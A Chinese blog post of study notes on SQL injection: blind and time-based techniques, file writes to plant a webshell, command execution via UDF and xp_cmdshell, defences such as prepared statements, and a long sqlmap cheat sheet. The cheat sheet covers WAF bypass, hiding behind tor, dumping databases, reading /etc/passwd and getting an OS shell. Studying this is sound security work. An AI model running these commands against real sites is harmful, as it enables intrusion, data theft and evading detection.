白帽子閱讀筆記——SQL注入

盲注:服務器沒有錯誤回顯時完成的注入攻擊

利用了BENCHMARK()函數,該函數用於測試函數性能,利用該函數可以讓同一個函數執行若干次,根據返回時間長短變化,判斷是否執行成功

通過payload猜測出SQL的版本;

儘量數據庫賬號時,應該遵循”最小權限原則“

如果要將文件讀出後,將結果返回給攻擊者,首先需要當前數據庫用戶有創建表的權限,首先通過LOAD_FILE()將系統文件讀出,在通過INTODUMPFILE將該文件寫入系統,通過LOAD DATA INFLE將文件導入創建的表中;

除了可以使用INTO DUMPFILE還可以使用INTO OUTFILE,區別在於DUMP FILE 適用於二進制文件,outfile適用於文本文件;寫入文件的技巧在於導出一個webshell

 

MYSQL

通過命令執行 UDF(User-Defined Functions)執行命令

通過lib_mysqlludf_sys提供的幾個函數執行系統命令,主要是sys_eval()和sys_exec()

sys_eval() 執行任意命令,將輸出返回

sys_exec()執行任意命令,將推出碼返回

sys_get 獲取一個環境變量

sys_set 創建或修改一個環境變量

 

在MS SQL Server中 可以直接使用存儲過程”“xp_cmdshell”執行系統命令

 

攻擊存儲過程

MS SQL Server中 可以直接使用存儲過程”“xp_cmdshell”執行系統命令

 

編碼問題:統一數據庫、操作系統、web應用所使用的字符集,避免各層對字符的理解存在差異

 

 

防禦SQL注入方法:

要做兩件事:找到所有的SQL注入漏洞 修補這些漏洞

1)使用預編譯語句,綁定變量

2)使用存儲過程,和預編譯語句類似,區別在於存儲過程需要先將SQL語句定義在數據庫中;儘量避免在存儲過程內使用動態SQL語句;

3)檢查數據類型,數據格式和類型都要檢查

4)使用安全函數,如encodeForSQL,使用最小權限原則

 

其他注入:

XML注入

代碼注入

CRLF注入 即換行符

 

SQL注入是應用違背了“數據與代碼分離原則”導致的結果

有兩個條件:一是用戶能夠控制數據的輸入,二是代碼拼湊了用戶輸入的數據

 

筆記總結:

注入分類:

根據注入位置分爲,get注入,post注入,cookie注入;

根據注入參數類型分爲,字符注入,數字注入;

根據注入技術分類:錯誤注入,布爾注入,union注入,時間盲注;

 

典型注入流程:

判斷是否有SQL注入漏洞(通過手工注入或者自動化注入工具);

判斷操作系統和數據庫操作類型;

獲取數據庫信息;

加密信息破解;

提升權限;

內網滲透;

 

手工注入類型:

基於錯誤的注入:通過構造特殊語句,根據得到的錯誤信息,確認SQL注入點;

基於布爾注入:其思路是閉合SQL語句,構造or或and邏輯語句,註釋多餘的代碼;

基於UNION注入:用於聯合前面兩種注入,查詢更多的信息;

基於時間盲注:通過sleep語句判斷注入點;

 

工具:

SQLmap使用:

查看幫助 sqlmap -h sqlmap -hh

查看版本 sqlmap -v

查看注入日誌信息:more /root/.sqlmap/output/192.168.199.153/log

查看sqlmap配置文件,more /etc/sqlmap/sqlmap.conf

 

通過GET方法注入:

sqlmap -u "url" -u指定檢測網站

sqlmap -u "url" -f -p username -f:探測系統和數據庫信息;-p指定探測具體參數;

sqlmap -u "url" -p username --user -p:指定探測的具體參數,--user查看數據庫用戶信息

sqlmap -u "url" --banner 查看banner信息;

sqlmap -u "url" --dbs 查看有多少數據庫;

sqlmap -u "url" --all 查看所有的數據庫信息,下載所有能下載的數據庫信息,若檢測到加密信息,則直接進行破解;

 

通過POST方法注入:

設置到帶cookie才能訪問的注入頁面,可以採用-r參數來實現

採用fiddler/burpsuite/tamper等代理工具,攔截POST請求內容

將POST請求內容保存到post.txt文件中,並用sqlmap調用

語法:

sqlmap -r post.txt

sqlmap -r post.txt --dbs

sqlmap -r ~/Desktop/post

 

帶參數注入

注入時指明用戶名/密碼/Cookie等信息

sqlmap -u "url" --data="username=admin&password=123456"

sqlmap -u "url" --cookie="xxx"

 

混淆注入:

用於繞過WAF/IDS/IPS

sqlmap -u "url" --identify-WAF 識別WAF/IDS/IPS類型

sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --skip-waf繞過防火牆,--random-agent使用隨機http頭部;

sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --mobile --mobile 模擬手機請求;

sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --smart smart智能模式

sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --level 3 risk=2 提高安全/危險等級;

sqlmap -u "url" --dbms=mysql --skip-WAF --random-agent --offline 減少與對方的交互;

 

代理注入:

通過設置代理,防止SQL注入地址被發現,可將代理地址設置爲tor/vpn等本地代理工具

sqlmap -u "url" --proxy="proxy-ip" --proxy指定代理IP

sqlmap -u "url" --tor="tor-ip"

 

獲取數據:

--users 查看所有管理員賬號

--current-user 查看當前管理員賬號

--privileges -U user 查看當前賬號權限

--dbs 查看當前使用的數據庫

--tables -D “database” 查看當前數據表的字段內容

--columns -T “filelds” -D ”database“ 查看該字段內容的數量;

--count -T ”fields” -D "database" 查看此字段內容的數量

--dump-all 保存所有數據到本地;

--dump-all --exculde-sysdbs 除了系統默認數據表,保存所有數據到本地;

--dump -C “username,password” -T “fields” -D “database” 保存指定字段內容到本地;

 

提權操作:

文件讀寫:

--file-read=“etc/passwd" 讀取敏感信息

--file-write="shell.php" 需要有寫入權限,默認寫入到注入頁面所在目錄

--file-write=”shell.php" --file-dest "/tmp/shell.php" 編寫一句話木馬,然後用中國菜刀來連接,需要有寫入權限;

--sql-shell 獲取數據庫shell

與操作系統交互:

--os-cmd 執行shell命令

--os-shell 獲取系統shell

與metaspolit交互

--os-pwn

 

 

 

 

 

 

 

 

 

 

 

 

發佈了37 篇原創文章 · 獲贊 0 · 訪問量 6251
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章